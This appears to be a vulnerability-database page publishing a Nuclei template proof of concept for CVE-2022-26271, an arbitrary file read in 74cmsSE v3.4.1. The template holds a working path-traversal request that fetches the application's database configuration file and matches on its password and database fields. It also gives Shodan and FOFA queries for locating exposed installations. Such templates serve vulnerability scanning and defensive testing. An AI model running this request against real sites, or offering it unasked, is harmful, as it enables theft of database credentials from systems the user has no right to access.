CVE-2022-26271: 74cmsSE v3.4.1 - Arbitrary File Read

2025-08-01 74cmsSE PoC Public

Description

74cmsSE v3.4.1 was discovered to contain an arbitrary file read vulnerability via the $url parameter at \index\controller\Download.php.

PoC

id: CVE-2022-26271

info:
  name: 74cmsSE v3.4.1 - Arbitrary File Read
  author: ritikchaddha
  severity: high
  description: |
    74cmsSE v3.4.1 was discovered to contain an arbitrary file read vulnerability via the $url parameter at \index\controller\Download.php.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive information.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://github.com/N1ce759/74cmsSE-Arbitrary-File-Reading/issues/1
    - https://nvd.nist.gov/vuln/detail/cve-2022-26271
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-26271
    cwe-id: CWE-552
    epss-score: 0.04515
    epss-percentile: 0.91027
    cpe: cpe:2.3:a:74cms:74cms:3.4.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: 74cms
    product: 74cms
    shodan-query: http.html:"74cms"
    fofa-query: app="74cms"
  tags: cve,cve2022,74cms,lfr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index/download/index?name=index.php&url=../../application/database.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<?php"
          - "return array"
          - "password"
          - "database"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/octet-stream"
# digest: 4a0a0047304502202e3f0582c4579bdcbd6420c49e40f3e1f48174e1a266f8c2dedc55b39e93c845022100ae3266fe64dc1bdc22d286be66622ce97990ae009bfbfb7422fd4ed881037ac8:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities